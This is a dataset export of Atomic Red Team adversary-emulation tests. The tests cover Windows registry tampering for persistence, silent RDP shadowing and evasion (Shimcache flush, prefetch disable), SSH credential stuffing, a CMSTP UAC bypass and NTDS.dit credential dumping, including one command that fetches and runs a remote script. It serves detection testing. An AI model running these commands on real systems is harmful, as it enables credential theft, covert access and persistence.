deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1112: Modify Registry
Test: Disabling ShowUI Settings of Windows Error Reporting (WER)
Platforms: windows
Executor: command_prompt

Description:
A modification registry to disable ShowUI settings of Windows Error Report. This registry setting can influence the behavior of error reporting dialogs or prompt box. 
This technique was seen in DarkGate malware as part of its installation.


Command:
reg add "HKCU\Software\Microsoft\Windows\Windows Error Reporting" /v DontShowUI /t REG_DWORD /d 1 /f


Cleanup:
reg add "HKCU\Software\Microsoft\Windows\Windows Error Reporting" /v DontShowUI /t REG_DWORD /d 0 /f
Atomic Red Team — T1112: Modify Registry
Test: Enable Proxy Settings
Platforms: windows
Executor: command_prompt

Description:
A modification registry to enable proxy settings. This technique was seen in DarkGate malware as part of its installation.


Command:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 1 /f


Cleanup:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f
Atomic Red Team — T1112: Modify Registry
Test: Set-Up Proxy Server
Platforms: windows
Executor: command_prompt

Description:
A modification registry to setup proxy server. This technique was seen in DarkGate malware as part of its installation.


Command:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer /t REG_SZ /d "proxy.atomic-test.com:8080" /f


Cleanup:
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer /f
Atomic Red Team — T1112: Modify Registry
Test: RDP Authentication Level Override
Platforms: windows
Executor: command_prompt

Description:
A modification registry to override RDP Authentication Level. This technique was seen in DarkGate malware as part of its installation.


Command:
reg add "HKCU\Software\Microsoft\Terminal Server Client" /v AuthenticationLevelOverride /t REG_DWORD /d 0 /f


Cleanup:
reg delete "HKCU\Software\Microsoft\Terminal Server Client" /v AuthenticationLevelOverride
Atomic Red Team — T1112: Modify Registry
Test: Enable RDP via Registry (fDenyTSConnections)
Platforms: windows
Executor: command_prompt

Description:
Modify the registry value of fDenyTSConnections to allow incoming RDP connections. 
This activity has been observed by multiple ransomware groups, including Hive ransomware. 
[Reference](https://www.rapid7.com/blog/post/2023/01/11/increasing-the-sting-of-hive-ransomware/)


Command:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Cleanup:
if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /f >nul 2>&1)
Atomic Red Team — T1112: Modify Registry
Test: Disable Windows Prefetch Through Registry
Platforms: windows
Executor: command_prompt

Description:
Modify the registry of the machine to disable prefetch. Disabling prefetch will remove one artifact for evidence of application execution. Restart is required post modification


Command:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters" /v "EnablePrefetcher" /t REG_DWORD /d 0 /f


Cleanup:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters" /v "EnablePrefetcher" /t REG_DWORD /d 3 /f
Atomic Red Team — T1112: Modify Registry
Test: Setting Shadow key in Registry for RDP Shadowing
Platforms: windows
Executor: powershell

Description:
Microsoft Remote Desktop Protocol (RDP) supports a “shadowing” feature and RDP is available in all Windows Server Operating Systems and the business editions of end-user Windows versions.
In order to use the RDP shadowing feature, the Remote Desktop Services (TermService) service needs to be running (which it does by default), a rule needs to be enabled in the Windows Firewall and in case of stealth reasons, a setting needs to be configured to not prompt the user for permission when they are being shadowed.
In order to configure RDP shadowing session in a quiet mode.  The registry of a remote system can be updated using several protocols, depending on the accessible ports and configuration of the services listening on those ports. Our aim is to set the Shadow value in HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services on the remote machine to 2, which allows us to both view and control the session without the user being informed.
[Reference](https://blog.bitsadmin.com/spying-on-users-using-rdp-shadowing)

Command:
$s= New-CimSession -Computername #{server_name} -SessionOption (New-CimSessionOption -Protocol Dcom)
Get-CimInstance -Namespace ROOT\StandardCimv2 -ClassName MSFT_NetFirewallRule -Filter 'DisplayName="Remote Desktop - Shadow (TCP-In)"' -CimSession $s | Invoke-CimMethod -MethodName Enable
Invoke-CimMethod -ClassName StdRegProv -MethodName SetDWORDValue -Arguments @{hDefKey=[uint32][PII_REDACTED]; sSubKeyName="Software\Policies\Microsoft\Windows NT\Terminal Services"; sValueName="shadow"; uValue=[uint32]2} -CimSession $s

Cleanup:
Invoke-CimMethod -ClassName StdRegProv -MethodName DeleteValue -Arguments @{hDefKey=[uint32][PII_REDACTED]; sSubKeyName="Software\Policies\Microsoft\Windows NT\Terminal Services"; sValueName="Shadow"} -CimSession $s
Atomic Red Team — T1112: Modify Registry
Test: Flush Shimcache
Platforms: windows
Executor: command_prompt

Description:
The ShimCache is a component in Windows operating systems that stores information about recently executed applications. It is used by the operating system to speed up the launching process of applications. The ShimCache is also used by IR teams and Forensic teams. Forensic investigators can use the ShimCache to determine which programs have been executed on a system, even if they have been deleted or their logs have been cleared.Reference : https://blueteamops.medium.com/shimcache-flush-89daff28d15e

Command:
Rundll32.exe apphelp.dll,ShimFlushCache
Atomic Red Team — T1112: Modify Registry
Test: Disable Windows Remote Desktop Protocol
Platforms: windows
Executor: command_prompt

Description:
Modify the registry of the machine to disable remote desktop protocol.


Command:
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f


Cleanup:
reg delete "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /f
Atomic Red Team — T1112: Modify Registry
Test: Enforce Smart Card Authentication Through Registry
Platforms: windows
Executor: command_prompt

Description:
Enforce Smart Card Authentication Through Registry


Command:
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v scforceoption /t REG_DWORD /d 1 /f


Cleanup:
reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v scforceoption /f
Atomic Red Team — T1112: Modify Registry
Test: Requires the BitLocker PIN for Pre-boot authentication
Platforms: windows
Executor: command_prompt

Description:
Requires the BitLocker PIN for Pre-boot authentication


Command:
reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseAdvancedStartup /t REG_DWORD /d 1 /f


Cleanup:
reg delete "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseAdvancedStartup /f
Atomic Red Team — T1112: Modify Registry
Test: Modify EnableBDEWithNoTPM Registry entry
Platforms: windows
Executor: command_prompt

Description:
Allow BitLocker without a compatible TPM (requires a password)


Command:
reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v EnableBDEWithNoTPM /t REG_DWORD /d 1 /f


Cleanup:
reg delete ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v EnableBDEWithNoTPM /f
Atomic Red Team — T1112: Modify Registry
Test: Modify UseTPM Registry entry
Platforms: windows
Executor: command_prompt

Description:
Use Trusted Platform Module (TPM) for Bitlocker tool


Command:
reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPM /t REG_DWORD /d 2 /f


Cleanup:
reg delete ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UseTPM /f
Atomic Red Team — T1112: Modify Registry
Test: Modify UseTPMPIN Registry entry
Platforms: windows
Executor: command_prompt

Description:
Allow startup PIN with TPM for Bitlocker tool


Command:
reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMPIN /t REG_DWORD /d 2 /f


Cleanup:
reg delete "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMPIN /f
Atomic Red Team — T1112: Modify Registry
Test: Modify UseTPMKey Registry entry
Platforms: windows
Executor: command_prompt

Description:
Allow startup key with TPM for Bitlocker tool


Command:
reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMKey /t REG_DWORD /d 2 /f


Cleanup:
reg delete "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMKey /f
Atomic Red Team — T1112: Modify Registry
Test: Modify UseTPMKeyPIN Registry entry
Platforms: windows
Executor: command_prompt

Description:
Allow startup key and PIN with TPM for Bitlocker tool


Command:
reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMKeyPIN /t REG_DWORD /d 2 /f


Cleanup:
reg delete "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMKeyPIN /f
Atomic Red Team — T1112: Modify Registry
Test: Modify EnableNonTPM Registry entry
Platforms: windows
Executor: command_prompt

Description:
Allow Bitlocker without TPM for Bitlocker tool


Command:
reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v EnableNonTPM /t REG_DWORD /d 1 /f


Cleanup:
reg delete "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v EnableNonTPM /f
Atomic Red Team — T1112: Modify Registry
Test: Modify UsePartialEncryptionKey Registry entry
Platforms: windows
Executor: command_prompt

Description:
Allow startup key with TPM for Bitlocker tool


Command:
reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UsePartialEncryptionKey /t REG_DWORD /d 2 /f


Cleanup:
reg delete "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UsePartialEncryptionKey /f
Atomic Red Team — T1112: Modify Registry
Test: Modify UsePIN Registry entry
Platforms: windows
Executor: command_prompt

Description:
Allow startup PIN with TPM for Bitlocker tool


Command:
reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UsePIN /t REG_DWORD /d 2 /f


Cleanup:
reg delete "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UsePIN /f
Atomic Red Team — T1112: Modify Registry
Test: Abusing Windows TelemetryController Registry Key for Persistence
Platforms: windows
Executor: command_prompt

Description:
The Windows Compatibility Telemetry system makes use of the CompatTelRunner.exe binary to run a variety of telemetry tasks. It relies on the registry for instructions on which commands to run. 
It will run any arbitrary command without restriction of location or type. Blog :https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence


Command:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\#{new_key}" /t REG_SZ /v Command /d #{new_executable} /f


Cleanup:
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\#{new_key}" /f
Atomic Red Team — T1112: Modify Registry
Test: Modify RDP-Tcp Initial Program Registry Entry
Platforms: windows
Executor: command_prompt

Description:
If the fInheritInitialProgram value is set to 1, the exe indicated in the InitialProgram value is automatically started on RDP connection.
Once the test commands are run, notepad will execute automatically on new RDP connection


Command:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v fInheritInitialProgram /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v InitialProgram /t REG_SZ /d "C:\Windows\System32\notepad.exe" /f


Cleanup:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v InitialProgram /t REG_SZ /d "" /f
Atomic Red Team — T1112: Modify Registry
Test: Abusing MyComputer Disk Cleanup Path for Persistence
Platforms: windows
Executor: command_prompt

Description:
Replacing the registry settings with custom executable will end up with the replacement programs being executed at the time OS will decide to kick off the respective activity


Command:
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\cleanuppath" /t REG_EXPAND_SZ /d "%systemroot%\system32\notepad.exe" /f


Cleanup:
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\cleanuppath" /t REG_EXPAND_SZ /d "%SystemRoot%\System32\cleanmgr.exe /D %c" /f
Atomic Red Team — T1112: Modify Registry
Test: Abusing MyComputer Disk Fragmentation Path for Persistence
Platforms: windows
Executor: command_prompt

Description:
Replacing the registry settings with custom executable will end up with the replacement programs being executed at the time OS will decide to kick off the respective activity


Command:
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\DefragPath" /t REG_EXPAND_SZ /d "%systemroot%\system32\notepad.exe" /f


Cleanup:
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\DefragPath" /t REG_EXPAND_SZ /d "%systemroot%\system32\dfrgui.exe" /f
Atomic Red Team — T1112: Modify Registry
Test: Abusing MyComputer Disk Backup Path for Persistence
Platforms: windows
Executor: command_prompt

Description:
Replacing the registry settings with custom executable will end up with the replacement programs being executed at the time OS will decide to kick off the respective activity


Command:
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\BackupPath" /t REG_EXPAND_SZ /d "%systemroot%\system32\notepad.exe" /f


Cleanup:
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\BackupPath" /t REG_EXPAND_SZ /d "%SystemRoot%\system32\sdclt.exe" /f
Atomic Red Team — T1112: Modify Registry
Test: Adding custom paths for application execution
Platforms: windows
Executor: command_prompt

Description:
As per Microsoft,the entries found under App Paths are used primarily to map an application’s executable file name to that file’s fully qualified path and to pre-pend information to the PATH environment variable on a per-application, per-process basis. 
The path can be modified to load a custom application of choice. 
Post the registry changes of this test, when someone tries to manually run msedge.exe via StartMenu/Run window , notepad will be launched.


Command:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\#{app_name}" /t REG_SZ /d #{new_path} /f


Cleanup:
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\#{app_name}" /v (Default) /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\#{app_name}" /t REG_SZ /d "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" /f
Atomic Red Team — T1110.004: Brute Force: Credential Stuffing
Test: SSH Credential Stuffing From Linux
Platforms: linux
Executor: bash

Description:
Using username,password combination from a password dump to login over SSH.


Command:
cp "$PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt" /tmp/
for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d":" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d":" -f1`@#{target_host};done


Dependencies:
Requires SSHPASS
Atomic Red Team — T1110.004: Brute Force: Credential Stuffing
Test: SSH Credential Stuffing From MacOS
Platforms: macos
Executor: bash

Description:
Using username,password combination from a password dump to login over SSH.


Command:
cp "$PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt" /tmp/
for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d":" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d":" -f1`@#{target_host};done


Dependencies:
Requires SSHPASS
Atomic Red Team — T1110.004: Brute Force: Credential Stuffing
Test: SSH Credential Stuffing From FreeBSD
Platforms: linux
Executor: sh

Description:
Using username,password combination from a password dump to login over SSH.


Command:
cp $PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt /tmp/
for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d":" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d":" -f1`@#{target_host};done


Dependencies:
Requires SSHPASS
Atomic Red Team — T1110.004: Brute Force: Credential Stuffing
Test: Brute Force:Credential Stuffing using Kerbrute Tool
Platforms: windows
Executor: powershell

Description:
Will read username and password combos from a file or stdin (format username:password) and perform a bruteforce attack


Command:
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe bruteforce --dc #{domaincontroller} -d #{domain} "PathToAtomicsFolder\..\ExternalPayloads\bruteforce.txt"      


Dependencies:
kerbrute.exe must exist in PathToAtomicsFolder\..\ExternalPayloads

bruteforce.txt must exist in PathToAtomicsFolder\..\ExternalPayloads
Atomic Red Team — T1218.003: Signed Binary Proxy Execution: CMSTP
Test: CMSTP Executing Remote Scriptlet
Platforms: windows
Executor: command_prompt

Description:
Adversaries may supply CMSTP.exe with INF files infected with malicious commands


Command:
cmstp.exe /s "#{inf_file_path}"


Dependencies:
INF file must exist on disk at specified location (#{inf_file_path})
Atomic Red Team — T1218.003: Signed Binary Proxy Execution: CMSTP
Test: CMSTP Executing UAC Bypass
Platforms: windows
Executor: command_prompt

Description:
Adversaries may invoke cmd.exe (or other malicious commands) by embedding them in the RunPreSetupCommandsSection of an INF file


Command:
cmstp.exe /s "#{inf_file_uac}" /au


Dependencies:
INF file must exist on disk at specified location (#{inf_file_uac})
Atomic Red Team — T1003.003: OS Credential Dumping: NTDS
Test: Create Volume Shadow Copy with vssadmin
Platforms: windows
Executor: command_prompt

Description:
This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.


Command:
vssadmin.exe create shadow /for=#{drive_letter}


Dependencies:
Target must be a Domain Controller
Atomic Red Team — T1003.003: OS Credential Dumping: NTDS
Test: Copy NTDS.dit from Volume Shadow Copy
Platforms: windows
Executor: command_prompt

Description:
This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.

This test requires steps taken in the test "Create Volume Shadow Copy with vssadmin".
A successful test also requires the export of the SYSTEM Registry hive.
This test must be executed on a Windows Domain Controller.


Command:
copy #{vsc_name}\Windows\NTDS\NTDS.dit #{extract_path}\ntds.dit
copy #{vsc_name}\Windows\System32\config\SYSTEM #{extract_path}\VSC_SYSTEM_HIVE
reg save HKLM\SYSTEM #{extract_path}\SYSTEM_HIVE


Cleanup:
del "#{extract_path}\ntds.dit"        >nul 2> nul
del "#{extract_path}\VSC_SYSTEM_HIVE" >nul 2> nul
del "#{extract_path}\SYSTEM_HIVE"     >nul 2> nul


Dependencies:
Target must be a Domain Controller

Volume shadow copy must exist

Extract path must exist
Atomic Red Team — T1003.003: OS Credential Dumping: NTDS
Test: Dump Active Directory Database with NTDSUtil
Platforms: windows
Executor: command_prompt

Description:
This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped using NTDSUtil for offline credential theft attacks. This capability
uses the "IFM" or "Install From Media" backup functionality that allows Active Directory restoration or installation of
subsequent domain controllers without the need of network-based replication.

Upon successful completion, you will find a copy of the ntds.dit file in the C:\Windows\Temp directory.


Command:
mkdir #{output_folder}
ntdsutil "ac i ntds" "ifm" "create full #{output_folder}" q q


Cleanup:
rmdir /q /s #{output_folder} >nul 2>&1


Dependencies:
Target must be a Domain Controller
Atomic Red Team — T1003.003: OS Credential Dumping: NTDS
Test: Create Volume Shadow Copy with WMI
Platforms: windows
Executor: command_prompt

Description:
This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.


Command:
wmic shadowcopy call create Volume=#{drive_letter}


Dependencies:
Target must be a Domain Controller
Atomic Red Team — T1003.003: OS Credential Dumping: NTDS
Test: Create Volume Shadow Copy remotely with WMI
Platforms: windows
Executor: command_prompt

Description:
This test is intended to be run from a remote workstation with domain admin context.
The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.


Command:
wmic /node:"#{target_host}" shadowcopy call create Volume=#{drive_letter}


Dependencies:
Target must be a reachable Domain Controller, and current context must be domain admin
Atomic Red Team — T1003.003: OS Credential Dumping: NTDS
Test: Create Volume Shadow Copy remotely (WMI) with esentutl
Platforms: windows
Executor: command_prompt

Description:
This test is intended to be run from a remote workstation with domain admin context.
The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy created with esentutl.


Command:
wmic /node:"#{target_host}" process call create "cmd.exe /c esentutl.exe /y /vss #{source_path} /d #{target_path}"


Dependencies:
Target must be a reachable Domain Controller, and current context must be domain admin
Atomic Red Team — T1003.003: OS Credential Dumping: NTDS
Test: Create Volume Shadow Copy with Powershell
Platforms: windows
Executor: powershell

Description:
This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.


Command:
(gwmi -list win32_shadowcopy).Create('#{drive_letter}','ClientAccessible')
Atomic Red Team — T1003.003: OS Credential Dumping: NTDS
Test: Create Symlink to Volume Shadow Copy
Platforms: windows
Executor: command_prompt

Description:
This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped by creating a symlink to Volume Shadow Copy.


Command:
vssadmin.exe create shadow /for=#{drive_letter}
mklink /D #{symlink_path} \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
Atomic Red Team — T1003.003: OS Credential Dumping: NTDS
Test: Create Volume Shadow Copy with diskshadow
Platforms: windows
Executor: command_prompt

Description:
This test is intended to be run on a domain controller
An alternative to using vssadmin to create a Volume Shadow Copy for extracting ntds.dit


Command:
mkdir c:\exfil
diskshadow.exe /s #{filename}
Atomic Red Team — T1003.003: OS Credential Dumping: NTDS
Test: Copy NTDS in low level NTFS acquisition via MFT parsing
Platforms: windows
Executor: powershell

Description:
This test is intended to be run on a domain Controller.

UnderlayCopy is a PowerShell utility for low-level NTFS acquisition and dumping protected, locked system artifacts (for example: SAM, SYSTEM, NTDS.dit, registry hives, and other files that are normally inaccessible while Windows is running).


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR #{script_url} -UseBasicParsing)
Underlay-Copy -Mode MFT -SourceFile C:\Windows\NTDS\ntds.dit -DestinationFile #{extract_path}\ntds.dit
Underlay-Copy -Mode MFT -SourceFile C:\Windows\System32\config\SYSTEM -DestinationFile #{extract_path}\SYSTEM_HIVE


Cleanup:
remove-item "#{extract_path}\ntds.dit" -force -erroraction silentlycontinue
remove-item "#{extract_path}\SYSTEM_HIVE" -force -erroraction silentlycontinue